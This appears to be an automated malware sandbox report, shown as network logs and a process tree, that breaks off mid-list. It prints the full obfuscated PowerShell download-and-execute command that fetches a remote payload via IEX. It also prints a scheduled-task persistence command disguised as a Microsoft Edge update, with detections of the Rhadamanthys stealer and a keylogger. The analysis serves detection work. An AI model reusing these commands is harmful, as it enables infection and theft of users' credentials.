2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: a7c1def4-001e-0028-0fe6-18c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd4824mj9d6vp65b6n400000005f000000001292y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:26 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: de435f0b-f01e-0052-0101-179224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd48xdq5dkwwugdpzr000000005rg00000000afu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:26 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: d51e0a59-d01e-005a-6cfe-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd48wd55zet5pcra0cg00000005c000000000ceen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.9	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:26 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 06d21daa-b01e-0097-4150-194f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd48gjrh9ymem1nvr1n00000000r000000000r6cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:26 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: a1812648-601e-0002-69fe-16a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185226Z-1657d5bbd48tnj6wmberkg2xy800000005k0000000001dq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:26 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:27 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:27 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 72218525-801e-002a-7701-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185227Z-1657d5bbd48xlwdx82gahegw4000000005eg000000014c4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Target ID:	1
Start time:	14:52:01
Start date:	08/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Imagebase:	0x7ff61ffe0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:52:01
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:52:01
Start date:	08/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:52:11
Start date:	08/10/2024
Path:	C:\Users\Public\ajbs50ul.bat
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\ajbs50ul.bat"
Imagebase:	0x7ff717700000
File size:	2'322'503 bytes
MD5 hash:	8837DF25AABC4FAD85E851ACA192F714
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:52:11
Start date:	08/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:52:11
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:52:16
Start date:	08/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini
Imagebase:	0x7ff7e1b90000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000003.1527920288.000000001B790000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000002.1561583400.000000001BF81000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:52:16
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\utox_x86_x64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\utox_x86_x64.exe"
Imagebase:	0x400000
File size:	4'971'787 bytes
MD5 hash:	E9679980AA73CFC7CF00F3DA7949C661
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:52:20
Start date:	08/10/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff778750000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1649906387.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1641470345.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1665094576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1718717890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1732851639.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1637017086.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1673234389.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1536321873.0000022BF57D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1635336719.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1716617542.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1669024902.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1734062423.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1647188143.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1719239524.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1643307727.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1645446937.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1661819733.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1671905824.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1667796484.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1645979631.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1820192855.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1640027793.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1720627050.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1643999295.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1641144578.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1663391572.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1639097496.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000C.00000003.1685422890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe 